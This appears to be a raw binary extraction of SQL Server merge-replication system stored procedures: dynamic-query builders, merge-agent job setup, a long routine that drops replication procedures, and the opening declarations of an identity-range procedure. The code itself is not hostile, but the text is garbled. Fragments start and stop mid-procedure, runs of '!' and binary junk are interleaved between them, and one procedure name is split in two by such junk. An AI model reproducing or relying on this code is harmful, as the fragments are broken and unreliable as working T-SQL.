    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick = @tablenick
    if @retcode<>0 or @@ERROR<>0 return (1)

    /*
    ** Modify temp table, granted to public.
    */

    declare @selecttop nvarchar(50)

    select @quotedtname = quotename(@tname)

    if (@maxrows = 0)
        set @selecttop= 'select'
    else
        set @selecttop= 'select top ' + cast(@maxrows as nvarchar(9)) 
    
        if @pubid is null
        begin
                if (@tablenick < 1)
                begin
                execute (@selecttop + ' * from ' + @quotedtname + 
                                        ' order by tablenick, rowguidcol')
                        IF @@ERROR <>0 RETURN (1)        
                end
                else
                begin
                set @tnstring = convert(nchar, @tablenick)
                        set @rgstring = '''' + convert(nchar(36), @rowguid) + ''''
                        execute (@selecttop + ' * from ' + @quotedtname + 
                                        ' where (tablenick = ' + @tnstring + ' and  rowguidcol > ' + @rgstring + ') or
                                                tablenick > ' + @tnstring + ' order by tablenick, rowguidcol' )
                        if @@ERROR <> 0 RETURN (1)
                end
        end
        else
        begin
                select @pubidstr = '''' + convert(varchar(36), @pubid) + ''''
                if (@tablenick < 1)
                begin
                execute (@selecttop + ' t.* 
                                        from ' + @quotedtname + ' t, dbo.sysmergearticles sma 
                                        where sma.nickname = t.tablenick 
                                        and sma.pubid = ' + @pubidstr + '
                                        order by sma.processing_order, sma.nickname, t.rowguidcol')
                        IF @@ERROR <>0 RETURN (1)        
                end
                else
                begin
                set @tnstring = convert(nchar, @tablenick)
                        set @rgstring = '''' + convert(nchar(36), @rowguid) + ''''
                        exec sys.sp_MSget_article_processing_order @tablenick, @pubid, @last_art_processing_order output
                        select @last_art_processing_order_str = convert(varchar, @last_art_processing_order)

                        execute (@selecttop + ' t.* 
                                        from ' + @quotedtname + ' t, dbo.sysmergearticles sma
                                        where sma.nickname = t.tablenick
                                        and sma.pubid = ' + @pubidstr + '
                                        and 
                                        (
                                                (t.tablenick = ' + @tnstring + ' and  t.rowguidcol > ' + @rgstring + ') or
                                                (sma.processing_order = ' + @last_art_processing_order_str + ' and t.tablenick > ' + @tnstring + ') or
                                                sma.processing_order > ' + @last_art_processing_order_str + '
                                        )
                                        order by sma.processing_order, sma.nickname, t.rowguidcol' )
                        if @@ERROR <> 0 RETURN (1)
                end
        end

        return (0)  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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the add proc again they need to call change
		IF sys.fn_yukonsecuritymodelrequired(NULL) = 1
			OR @proxy_id IS NOT NULL
		BEGIN
			-- "A replication agent job (%s) for this subscription already exists."
			RAISERROR (21837, 11, -1, @merge_job_name)
			RETURN 1	
		END
		
		SELECT @procedure =  QUOTENAME(RTRIM(@distributor_rpc)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSdrop_merge_agent'
		EXEC @retcode = @procedure @publisher = @publisher,
									@publisher_db = @publisher_db,
									@publication = @publication,
									@subscriber = @subscriber,
									@subscriber_db = @subscriber_db,
									@job_only = 1    
		IF @retcode <> 0 OR @@ERROR <> 0
			RETURN 1
	END
	
	declare @publisher_engine_edition int
	
	select @publisher_engine_edition = sys.fn_MSrepl_editionid()
	
	SELECT @procedure = QUOTENAME(RTRIM(@distributor_rpc)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSadd_merge_agent'
	EXEC  @procedure  @name = @job_name,
						@publisher = @publisher,
						@publisher_db = @publisher_db,
						@publication = @publication,
						@subscriber = @subscriber,
						@subscriber_db = @subscriber_db,
						@local_job = 1,
						@frequency_type = @frequency_type,
						@frequency_interval = @frequency_interval,
						@frequency_relative_interval = @frequency_relative_interval, 
						@frequency_recurrence_factor = @frequency_recurrence_factor,
						@frequency_subday = @frequency_subday,
						@frequency_subday_interval = @frequency_subday_interval,
						@active_start_time_of_day = @active_start_time_of_day,
						@active_end_time_of_day = @active_end_time_of_day,
						@active_start_date = @active_start_date,
						@active_end_date = @active_end_date,
						@merge_jobid = @merge_jobid OUTPUT,
						@subscription_type = 0,
						@hostname = @hostname,
						@subscriber_security_mode = @subscriber_security_mode,
						@subscriber_login = @subscriber_login,
						@subscriber_password = @subscriber_password,
						@publisher_security_mode = @publisher_security_mode,
						@publisher_login = @publisher_login,
						@publisher_password = @publisher_password,
						@job_login = @job_login,
						@job_password = @job_password,
						@internal = N'YUKON ADD AGENT',
						@publisher_engine_edition = @publisher_engine_edition
	IF @@ERROR <> 0 OR @retcode <> 0
		RETURN 1

	UPDATE MSmerge_replinfo
		SET  merge_jobid = @merge_jobid
		WHERE repid = @subid
		
	-- Conditional support for MobileSync
	IF LOWER(@enabled_for_syncmgr collate SQL_Latin1_General_CP1_CS_AS) = 'true'
	BEGIN
		EXEC @retcode = sys.sp_helpdistributor @distributor = @distributor OUTPUT
		IF @@ERROR <> 0 OR @retcode <> 0
			RETURN 1

		-- Always use integrated security on winNT
		SELECT @distrib_pwd = newid()

		EXEC @retcode = sys.sp_MSreplencrypt @distrib_pwd output
		IF @@ERROR <> 0 OR @retcode <> 0
			RETURN 1

		-- Call sp_MSregistersubscription so that the subscription can be synchronized via Onestop etc.
		EXEC @retcode = sys.sp_MSregistersubscription @replication_type = 2,
														@publisher = @publisher,
														@publisher_db = @publisher_db,
														@publication = @publication,
														@subscriber = @subscriber,
														@subscriber_db = @subscriber_db,
														@distributor = @distributor,
														@distributor_security_mode = 1,
														@distributor_login = N'',
														@distributor_password = @distrib_pwd,
														@subscription_id = @subid,
														@subscription_type = 0,
														@use_interactive_resolver = @use_ir,
														@hostname = @hostname
		IF @@ERROR <> 0 OR @retcode <> 0
			RETURN 1
	END

	-- If we didn't need to create the job but 
	-- we were given the job_login and job_password
	-- then we will attempt to change them or add
	-- NOTE:
	-- We do this at the very end because the actual
	-- agent must be added prior to setting the login
	-- and passwords...
	IF @job_name IS NOT NULL
	BEGIN
		IF @job_login IS NOT NULL
		BEGIN
			EXEC @retcode = sys.sp_changemergesubscription @publication = @publication,
															@subscriber = @subscriber,
															@subscriber_db = @subscriber_db,
														    @property = 'merge_job_login',
															@value = @job_login
			IF @retcode <> 0 OR @@ERROR <> 0
	            RETURN 1


	        IF @job_password IS NOT NULL
	        BEGIN
				EXEC @retcode = sys.sp_changemergesubscription @publication = @publication,
																@subscriber = @subscriber,
																@subscriber_db = @subscriber_db,
															    @property = 'merge_job_password',
																@value = @job_password
				IF @retcode <> 0 OR @@ERROR <> 0
		            RETURN 1
	        END
		END
	END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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<($eUvq}create procedure sys.sp_MSdrop_rlrecon
as

    if object_id('sp_MSaddinitialpublication','P') is not NULL
        drop procedure sys.sp_MSaddinitialpublication

    if object_id('sp_MSaddinitialsubscription','P') is not NULL
        drop procedure sys.sp_MSaddinitialsubscription

    if object_id('sp_MSdropconstraints','P') is not NULL
        drop procedure sys.sp_MSdropconstraints

    if object_id('sp_MSexclause','P') is not NULL
        drop procedure sys.sp_MSexclause

    if object_id('sp_MSgetcolordinalfromcolname','P') is not NULL
        drop procedure sys.sp_MSgetcolordinalfromcolname
        
    if object_id('sp_MSinsertbeforeimageclause','P') is not NULL
        drop procedure sys.sp_MSinsertbeforeimageclause

    if object_id('sp_MSdropctsviews','P') is not NULL
        drop procedure sys.sp_MSdropctsviews
        
    if object_id('sp_MSmakectsview','P') is not NULL
        drop procedure sys.sp_MSmakectsview
        
    if object_id('sys.fn_MSgetrowguidvirtualtable', 'FN') is not NULL
        drop function sys.fn_MSgetrowguidvirtualtable  
        
    if object_id('sys.fn_MSgetrowguidvirtualtable', 'TF') is not NULL
        drop function sys.fn_MSgetrowguidvirtualtable    

    if object_id('sys.fn_MSgetrowguids', 'FN') is not NULL
        drop function sys.fn_MSgetrowguids  
        
    if object_id('sys.fn_MSgetrowguids', 'TF') is not NULL
        drop function sys.fn_MSgetrowguids

    if object_id('sp_MSdeletemetadataactionrequest','P') is not NULL
        drop procedure sys.sp_MSdeletemetadataactionrequest

    if object_id('sp_MSmakeinsertproc','P') is not NULL
        drop procedure sys.sp_MSmakeinsertproc

    if object_id('sp_MSmakebatchinsertproc','P') is not NULL
        drop procedure sys.sp_MSmakebatchinsertproc
        
    if object_id('sp_MSmakeupdateproc','P') is not NULL
        drop procedure sys.sp_MSmakeupdateproc 

    if object_id('sp_MSmakebatchupdateproc','P') is not NULL
        drop procedure sys.sp_MSmakebatchupdateproc 

    if object_id('sp_MScreatedupkeyupdatequery','P') is not NULL
        drop procedure sys.sp_MScreatedupkeyupdatequery

    if object_id('sp_MSmakeselectproc','P') is not NULL
        drop procedure sys.sp_MSmakeselectproc 
        
    if object_id('sp_MSmakemetadataselectproc','P') is not NULL
        drop procedure sys.sp_MSmakemetadataselectproc 

    if object_id('sp_MSmakedeleteproc','P') is not NULL
        drop procedure sys.sp_MSmakedeleteproc 
        
    if object_id('sp_MSreplcheck_permission','P') is not NULL
        drop procedure sys.sp_MSreplcheck_permission 

    if object_id('sp_MSinsertschemachange','P') is not NULL
        drop procedure sys.sp_MSinsertschemachange

    if object_id('sp_MSaddinitialarticle','P') is not NULL
        drop procedure sys.sp_MSaddinitialarticle

    if object_id('sp_MSaddinitialschemaarticle','P') is not NULL
        drop procedure sys.sp_MSaddinitialschemaarticle
        
    if object_id('sp_MSinitdynamicsubscriber','P') is not NULL
        drop procedure sys.sp_MSinitdynamicsubscriber 
        
    if object_id('sp_MSmakearticleprocs','P') is not NULL
        drop procedure sys.sp_MSmakearticleprocs

    if object_id('sp_MScreateandsetarticleprocs','P') is not NULL
        drop procedure sys.sp_MScreateandsetarticleprocs

    if object_id('sp_MSpostapplyscript_forsubscriberprocs','P') is not NULL
        drop procedure sys.sp_MSpostapplyscript_forsubscriberprocs

    if object_id('sp_MSscriptsubscriberprocs','P') is not NULL
        drop procedure sys.sp_MSscriptsubscriberprocs

    if object_id('sp_MSchecksnapshotstatus','P') is not NULL
        drop procedure sys.sp_MSchecksnapshotstatus

    if object_id('sp_MSupdatesysmergearticles','P') is not NULL
        drop procedure sys.sp_MSupdatesysmergearticles      

    if object_id('sp_MSdroparticletombstones','P') is not NULL
        drop procedure sys.sp_MSdroparticletombstones       

    if object_id('sp_MSproxiedmetadata','P') is not NULL
        drop procedure sys.sp_MSproxiedmetadata     
 
    if object_id('sp_MSproxiedmetadatabatch','P') is not NULL
        drop procedure sys.sp_MSproxiedmetadatabatch 
        
    if object_id('sp_MShelpmergearticles','P') is not NULL
        drop procedure sys.sp_MShelpmergearticles

    if object_id('sp_MShelpmergeselectarticles','P') is not NULL
        drop procedure sys.sp_MShelpmergeselectarticles

    if object_id('sp_MShelpmergearticles_nonpartgroups','P') is not NULL
        drop procedure sys.sp_MShelpmergearticles_nonpartgroups

    if object_id('sp_MShelpmergeidentity','P') is not NULL
        drop procedure sys.sp_MShelpmergeidentity

    if object_id('sp_MShelpmergeschemaarticles','P') is not NULL
        drop procedure sys.sp_MShelpmergeschemaarticles

    if object_id('sp_MScheckidentityrange','P') is not NULL
        drop procedure sys.sp_MScheckidentityrange

    if object_id('sp_MSfetchidentityrange','P') is not NULL
        drop procedure sys.sp_MSfetchidentityrange

    if object_id('sp_MScreateretry','P') is not NULL
        drop procedure sys.sp_MScreateretry

    if object_id('sp_MSdropretry','P') is not NULL
        drop procedure sys.sp_MSdropretry

    if object_id('sp_MSdroptemptable','P') is not NULL
        drop procedure sys.sp_MSdroptemptable

    if object_id('sp_MSenumretries','P') is not NULL
        drop procedure sys.sp_MSenumretries

    if object_id('sp_MSdeleteretry','P') is not NULL
        drop procedure sys.sp_MSdeleteretry

    if object_id('sp_MSgetonerow','P') is not NULL
        drop procedure sys.sp_MSgetonerow

    if object_id('sp_MSchangearticleresolver','P') is not NULL
        drop procedure sys.sp_MSchangearticleresolver

    if object_id('sp_MSgetlastrecgen','P') is not NULL
        drop procedure sys.sp_MSgetlastrecgen

    if object_id('sp_MSgetlastsentgen','P') is not NULL
        drop procedure sys.sp_MSgetlastsentgen

    if object_id('sp_MSgetlastsentrecgens','P') is not NULL
        drop procedure sys.sp_MSgetlastsentrecgens

    if object_id('sp_MSsetlastrecgen','P') is not NULL
        drop procedure sys.sp_MSsetlastrecgen

    if object_id('sp_MSbelongs','P') is not NULL
        drop procedure sys.sp_MSbelongs

    if object_id('sp_MSsetupbelongs','P') is not NULL
        drop procedure sys.sp_MSsetupbelongs

    if object_id('sp_MSgetsetupbelong_cost','P') is not NULL
        drop procedure sys.sp_MSgetsetupbelong_cost

    if object_id('sp_MSsetupworktables','P') is not NULL
        drop procedure sys.sp_MSsetupworktables
        
    if object_id('sp_MSsetupnotbelongs','P') is not NULL
        drop procedure sys.sp_MSsetupnotbelongs

    if object_id('sp_MSsetupbelongs_withoutviewproc','P') is not NULL
        drop procedure sys.sp_MSsetupbelongs_withoutviewproc
        
    if object_id('sp_MSexpandbelongs','P') is not NULL
        drop procedure sys.sp_MSexpandbelongs

    if object_id('sp_MSexpandnotbelongs','P') is not NULL
        drop procedure sys.sp_MSexpandnotbelongs

    if object_id('sp_MSenumpartialdeletes','P') is not NULL
        drop procedure sys.sp_MSenumpartialdeletes

    if object_id('sp_MSsetlastsentgen','P') is not NULL
        drop procedure sys.sp_MSsetlastsentgen

    if object_id('sp_MSdummyupdate','P') is not NULL
        drop procedure sys.sp_MSdummyupdate

    if object_id('sp_MSgetalternaterecgens','P') is not NULL
        drop procedure sys.sp_MSgetalternaterecgens

    if object_id('sp_MSupdaterecgen','P') is not NULL
        drop procedure sys.sp_MSupdaterecgen

    if object_id('sp_MSupdatereplicastate','P') is not NULL
        drop procedure sys.sp_MSupdatereplicastate

    if object_id('sp_MSgetreplicastate','P') is not NULL
        drop procedure sys.sp_MSgetreplicastate

    if object_id('sp_MSdummyupdate90','P') is not NULL
        drop procedure sys.sp_MSdummyupdate90!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<($T@vq}

    if object_id('sp_MSrequestreenumeration','P') is not NULL
        drop procedure sys.sp_MSrequestreenumeration

    if object_id('sp_MSenum_metadataaction_requests','P') is not NULL
        drop procedure sys.sp_MSenum_metadataaction_requests

    if object_id('sp_MSsetgentozero', 'P') is not null
        drop procedure sys.sp_MSsetgentozero

    if object_id('sp_MSenumgenerations','P') is not NULL
        drop procedure sys.sp_MSenumgenerations

    if object_id('sp_MSenumgenerations90','P') is not NULL
        drop procedure sys.sp_MSenumgenerations90
        
    if object_id('sp_MScheckexistsgeneration','P') is not NULL
        drop procedure sys.sp_MScheckexistsgeneration

    if object_id('sp_MSenumreplicas','P') is not NULL
        drop procedure sys.sp_MSenumreplicas

    if object_id('sp_MSenumreplicas90','P') is not NULL
        drop procedure sys.sp_MSenumreplicas90

    if object_id('sp_MSenumdeletesmetadata','P') is not NULL
        drop procedure sys.sp_MSenumdeletesmetadata
    
    if object_id('sp_MSenumchanges','P') is not NULL
        drop procedure sys.sp_MSenumchanges
        
    if object_id('sp_MSenumchangesdirect','P') is not NULL
        drop procedure sys.sp_MSenumchangesdirect
        
    if object_id('sp_MSenumpartialchanges','P') is not NULL
        drop procedure sys.sp_MSenumpartialchanges

    if object_id('sp_MSenumpartialchangesdirect','P') is not NULL
        drop procedure sys.sp_MSenumpartialchangesdirect
        
    if object_id('sp_MSenumchanges_belongtopartition','P') is not NULL
        drop procedure sys.sp_MSenumchanges_belongtopartition

    if object_id('sp_MSenumchanges_notbelongtopartition','P') is not NULL
        drop procedure sys.sp_MSenumchanges_notbelongtopartition

    if object_id('sp_MSenumdeletes_forpartition','P') is not NULL
        drop procedure sys.sp_MSenumdeletes_forpartition

    if object_id('sp_MSgetrowmetadata','P') is not NULL
        drop procedure sys.sp_MSgetrowmetadata
    
    if object_id('sp_MSgetmetadatabatch','P') is not NULL
        drop procedure sys.sp_MSgetmetadatabatch
        
    if object_id('sp_MSgetmetadatabatch90','P') is not NULL
        drop procedure sys.sp_MSgetmetadatabatch90

    if object_id('sp_MSgetmetadatabatch90new','P') is not NULL
        drop procedure sys.sp_MSgetmetadatabatch90new

    if object_id('sp_MSsetrowmetadata','P') is not NULL
        drop procedure sys.sp_MSsetrowmetadata

    if object_id('sp_MSinsertgenhistory','P') is not NULL
        drop procedure sys.sp_MSinsertgenhistory

    if object_id('sp_MSupdategenhistory','P') is not NULL
        drop procedure sys.sp_MSupdategenhistory

    if object_id('sp_MSlocalizeinterruptedgenerations') is not null
        drop procedure sys.sp_MSlocalizeinterruptedgenerations

    if object_id('sys.fn_MapSchemaType', 'FN') is not null
        drop function sys.fn_MapSchemaType

    if object_id('sp_enumeratependingschemachanges','P') is not NULL
        drop procedure sys.sp_enumeratependingschemachanges

    if object_id('sp_markpendingschemachange','P') is not NULL
        drop procedure sys.sp_markpendingschemachange

    if object_id('sp_MSenumschemachange','P') is not NULL
        drop procedure sys.sp_MSenumschemachange

    if object_id('sp_MSenumschemachange_70','P') is not NULL
        drop procedure sys.sp_MSenumschemachange_70

    if object_id('sp_MSenumschemachange_80','P') is not NULL
        drop procedure sys.sp_MSenumschemachange_80

    if object_id('sp_MSenumschemachange_80sp3','P') is not NULL
        drop procedure sys.sp_MSenumschemachange_80sp3

    if object_id('sp_MSenumschemachange_90','P') is not NULL
        drop procedure sys.sp_MSenumschemachange_90

    if object_id('sp_MSenumschemachange_100','P') is not NULL
        drop procedure sys.sp_MSenumschemachange_100

    if object_id('sp_MSupdateschemachange','P') is not NULL
        drop procedure sys.sp_MSupdateschemachange

    if object_id('sp_MSadd_mergereplcommand','P') is not NULL
        drop procedure sys.sp_MSadd_mergereplcommand

    if object_id('sp_MSremove_mergereplcommand','P') is not NULL
        drop procedure sys.sp_MSremove_mergereplcommand

    if object_id(N'sys.sp_MSgetreplicainfo', 'P') is not null
        drop procedure sys.sp_MSgetreplicainfo

    if object_id(N'sys.sp_MSgetsupportabilitysettings', 'P') is not null
        drop procedure sys.sp_MSgetsupportabilitysettings

    if object_id(N'sys.sp_MSuploadsupportabilitydata', 'P') is not null
        drop procedure sys.sp_MSuploadsupportabilitydata

    if object_id(N'sys.sp_MSneedmergemetadataretentioncleanup', 'P') is not null
        drop procedure sys.sp_MSneedmergemetadataretentioncleanup

    if object_id(N'sys.sp_MScheck_subscription_partition', 'P') is not null
        drop procedure sys.sp_MScheck_subscription_partition

    if object_id('sp_MSsetreplicainfo','P') is not NULL
        drop procedure sys.sp_MSsetreplicainfo

    if object_id('sp_MSsetreplicastatus','P') is not NULL
        drop procedure sys.sp_MSsetreplicastatus

    if object_id('sp_MScreateglobalreplica','P') is not NULL
        drop procedure sys.sp_MScreateglobalreplica

    if object_id('sp_MSsetconflictscript','P') is not NULL
        drop procedure sys.sp_MSsetconflictscript

    if object_id('sp_MSsetconflicttable','P') is not NULL
        drop procedure sys.sp_MSsetconflicttable

    if object_id('sp_MSmakeconflictinsertproc','P') is not NULL
        drop procedure sys.sp_MSmakeconflictinsertproc

    if object_id('sp_MSmaketempinsertproc','P') is not NULL
        drop procedure sys.sp_MSmaketempinsertproc

    if object_id('sp_MSgetconflictinsertproc','P') is not NULL
        drop procedure sys.sp_MSgetconflictinsertproc

    if object_id('sp_MSinsertdeleteconflict','P') is not NULL
        drop procedure sys.sp_MSinsertdeleteconflict

    if object_id('sp_MScheckmetadatamatch','P') is not NULL
        drop procedure sys.sp_MScheckmetadatamatch

    if object_id('sp_MSdelrow','P') is not NULL
        drop procedure sys.sp_MSdelrow 

    if object_id('sp_MSdelrowsbatch','P') is not NULL
        drop procedure sys.sp_MSdelrowsbatch 
        
    if object_id('sp_MSdelrowsbatch_downloadonly','P') is not NULL
        drop procedure sys.sp_MSdelrowsbatch_downloadonly
        
    if object_id('sp_MSsetartprocs','P') is not NULL
        drop procedure sys.sp_MSsetartprocs

    if object_id('sp_MSmakesystableviews','P') is not NULL
        drop procedure sys.sp_MSmakesystableviews

    if object_id('sp_MSdropview_internal','P') is not NULL
        drop procedure sys.sp_MSdropview_internal

    if object_id('sp_MSdropsystableviews','P') is not NULL
        drop procedure sys.sp_MSdropsystableviews

    if object_id('sp_MSgetchangecount','P') is not NULL
        drop procedure sys.sp_MSgetchangecount

    if object_id('sp_MSuplineageversion','P') is not NULL
        drop procedure sys.sp_MSuplineageversion

    if object_id('sp_MSvalidatearticle','P') is not NULL
        drop procedure sys.sp_MSvalidatearticle
        
    if object_id('sp_MSgetviewcolumnlist','P') is not NULL
        drop procedure sys.sp_MSgetviewcolumnlist
        
    if object_id('sp_MSsubscriptionvalidated','P') is not NULL
        drop procedure sys.sp_MSsubscriptionvalidated
        
    if object_id('sp_MSdelsubrows','P') is not NULL
        drop procedure sys.sp_MSdelsubrows
        
    if object_id('sp_MSdelsubrowsbatch','P') is not NULL
        drop procedure sys.sp_MSdelsubrowsbatch

    if object_id('sp_MScontractsubsnb','P') is not NULL
        drop procedure sys.sp_MScontractsubsnb

    if object_id('sp_MSexpandsubsnb','P') is not NULL
        drop procedure sys.sp_MSexpandsubsnb

    if object_id('sp_MSmakeviewproc','P') is not NULL
        drop procedure sys.sp_MSmakeviewproc

    if object_id('sp_MScreatebeforet!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<$0q}able','P') is not NULL
        drop procedure sys.sp_MScreatebeforetable 

    if object_id('sp_MShelpcreatebeforetable','P') is not NULL
        drop procedure sys.sp_MShelpcreatebeforetable 

    if object_id('sp_MShelpalterbeforetable','P') is not NULL
        drop procedure sys.sp_MShelpalterbeforetable 

    if object_id('sp_MSgetbeforetableinsert','P') is not NULL
        drop procedure sys.sp_MSgetbeforetableinsert 

    if object_id('sp_MSfixupbeforeimagetables','P') is not NULL
        drop procedure sys.sp_MSfixupbeforeimagetables 

    if object_id('sp_MSinserterrorlineage','P') is not NULL
        drop procedure sys.sp_MSinserterrorlineage 

    if object_id('sp_MSevalsubscriberinfo','P') is not NULL
        drop procedure sys.sp_MSevalsubscriberinfo 

    if object_id('sp_MSsetsubscriberinfo','P') is not NULL
        drop procedure sys.sp_MSsetsubscriberinfo 

    if object_id('sp_MSgetsubscriberinfo','P') is not NULL
        drop procedure sys.sp_MSgetsubscriberinfo 

    if object_id('sp_MSinsertgenerationschemachanges','P') is not NULL
        drop procedure sys.sp_MSinsertgenerationschemachanges

    if object_id('sp_MSalreadyhavegeneration','P') is not NULL
        drop procedure sys.sp_MSalreadyhavegeneration

    if object_id('sp_MScomputelastsentgen','P') is not NULL
        drop procedure sys.sp_MScomputelastsentgen
    
    if object_id('sp_MSgetmaxbcpgen','P') is not NULL
        drop procedure sys.sp_MSgetmaxbcpgen
    
    if object_id('sp_MSgettablecontents','P') is not NULL
        drop procedure sys.sp_MSgettablecontents

    if object_id('sp_MSdelgenzero','P') is not NULL
        drop procedure sys.sp_MSdelgenzero

    if object_id('sp_MSmakedynsnapshotvws','P') is not NULL
        drop procedure sys.sp_MSmakedynsnapshotvws

    if object_id('sp_MSdropdynsnapshotvws','P') is not NULL
        drop procedure sys.sp_MSdropdynsnapshotvws

    if object_id('sp_MSgetdynsnapvalidationtoken','P') is not NULL
        drop procedure sys.sp_MSgetdynsnapvalidationtoken

    if object_id('sys.sp_MSscriptviewproc', 'P') is not null
        drop procedure sys.sp_MSscriptviewproc
        
    if object_id('sys.sp_MSenum_logicalrecord_changes', 'P') is not null
        drop procedure sys.sp_MSenum_logicalrecord_changes
        
    if object_id('sys.sp_MSget_logicalrecord_lineage', 'P') is not null
        drop procedure sys.sp_MSget_logicalrecord_lineage

    if object_id('sys.sp_MScheck_logicalrecord_metadatamatch', 'P') is not null
        drop procedure sys.sp_MScheck_logicalrecord_metadatamatch

    if object_id('sys.sp_MSset_logicalrecord_metadata', 'P') is not null
        drop procedure sys.sp_MSset_logicalrecord_metadata
    
    if object_id('sys.sp_MSdummyupdate_logicalrecord', 'P') is not null
        drop procedure sys.sp_MSdummyupdate_logicalrecord

    if object_id('sys.sp_MSgetmetadata_changedlogicalrecordmembers', 'P') is not null
        drop procedure sys.sp_MSgetmetadata_changedlogicalrecordmembers        
    
    if object_id('sys.sp_MSgetdatametadatabatch', 'P') is not null
        drop procedure sys.sp_MSgetdatametadatabatch
        
    if object_id('sys.sp_MSmap_partitionid_to_generations', 'P') is not null
        drop procedure sys.sp_MSmap_partitionid_to_generations
    
    if object_id('sys.sp_MSmap_generation_to_partitionids', 'P') is not null
        drop procedure sys.sp_MSmap_generation_to_partitionids
       
    if object_id('sys.sp_MSget_gen_approx_changecount', 'P') is not null
        drop procedure sys.sp_MSget_gen_approx_changecount
        
    if object_id('sys.sp_MSupsertschemachange', 'P') is not null
        drop procedure sys.sp_MSupsertschemachange

    if object_id('sys.fn_MSgeneration_downloadonly', 'FN') is not null
        drop function sys.fn_MSgeneration_downloadonly
        
    if object_id('sys.fn_MSvector_downloadonly', 'FN') is not null
        drop function sys.fn_MSvector_downloadonly
        
    if object_id('sp_MSvalidatecommongen','P') is not NULL
        drop procedure sys.sp_MSvalidatecommongen
        
    if object_id('sp_MSvalidate_dest_recgen','P') is not NULL
        drop procedure sys.sp_MSvalidate_dest_recgen
                
    if object_id('sys.fn_MapColid', 'FN') is not null
        drop function sys.fn_MapColid

    if object_id('sys.fn_numberOf1InBinaryAfterLoc', 'FN') is not null
        drop function sys.fn_numberOf1InBinaryAfterLoc

    if object_id('sys.fn_numberOf1InVarBinary', 'FN') is not null
        drop function sys.fn_numberOf1InVarBinary
        
    if object_id('sys.sp_MSget_MSmerge_rowtrack_colinfo', 'P') is not null
        drop procedure sys.sp_MSget_MSmerge_rowtrack_colinfo
        
    if object_id('sys.fn_MSarticle_has_downloadonly_property', 'FN') is not null
        drop function sys.fn_MSarticle_has_downloadonly_property

    if object_id('sys.sp_MSfillup_deleted_cols', 'P') is not null
        drop procedure sys.sp_MSfillup_deleted_cols

    if object_id('sys.sp_MSget_shifted_colv1', 'P') is not null
        drop procedure sys.sp_MSget_shifted_colv1
            
    if object_id('sys.fn_IsTypeBlob', 'FN') is not null
        drop function sys.fn_IsTypeBlob

    if object_id('sys.fn_GetArticleSchemaVersionGuid', 'FN') is not null
        drop function sys.fn_GetArticleSchemaVersionGuid

    if object_id('sp_MScheck_article_auto_identity','P') is not NULL
        drop procedure sys.sp_MScheck_article_auto_identity        

    if object_id('sp_MSsetup_identity_range','P') is not NULL
        drop procedure sys.sp_MSsetup_identity_range        

    if object_id('fn_MSMerge_get_ranges_needed','FN') is not NULL
        drop function sys.fn_MSMerge_get_ranges_needed        

    if object_id('sp_MSget_identity_range_info','P') is not NULL
        drop procedure sys.sp_MSget_identity_range_info        

    if object_id('sp_MSallocate_new_identity_range','P') is not NULL
        drop procedure sys.sp_MSallocate_new_identity_range        

    if object_id('sp_MSset_new_identity_range','P') is not NULL
        drop procedure sys.sp_MSset_new_identity_range        

    if object_id('sp_MSsetreplicaschemaversion','P') is not NULL
        drop procedure sys.sp_MSsetreplicaschemaversion        

    if object_id('fn_MSget_dynamic_filter_login','FN') is not NULL
        drop function sys.fn_MSget_dynamic_filter_login        

    if object_id('fn_MSget_dynamic_filter_login_with_hostname','FN') is not NULL
        drop function sys.fn_MSget_dynamic_filter_login_with_hostname       

    if object_id('sp_MSupdategenerations_afterbcp','P') is not NULL
        drop procedure sys.sp_MSupdategenerations_afterbcp

    if object_id('sp_MScreate_tempgenhistorytable','P') is not NULL
        drop procedure sys.sp_MScreate_tempgenhistorytable

    if object_id('sp_MSdrop_tempgenhistorytable','P') is not NULL
        drop procedure sys.sp_MSdrop_tempgenhistorytable
        
    if object_id('sp_MScheckfailedprevioussync','P') is not NULL
        drop procedure sys.sp_MScheckfailedprevioussync
                
    if object_id('sp_MScheckIsPubOfSub','P') is not NULL
        drop procedure sys.sp_MScheckIsPubOfSub

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(^)-v\pcreate procedure sys.sp_MSfetchidentityrange 
    @tablename          nvarchar(270),
    @adjust_only        bit,
    @table_owner                sysname = NULL
AS

declare @retcode            int
declare @objid              int
declare @artid uniqueidentifier
declare @pubid uniqueidentifier
declare @next_seed          bigint
declare @range              bigint
declare @identity_support   int
declare @tablenick                      int
declare @quoted_tablename   nvarchar(270)
declare @is_republisher     bit
declare @ident_current bigint
declare @ident_increment bigint
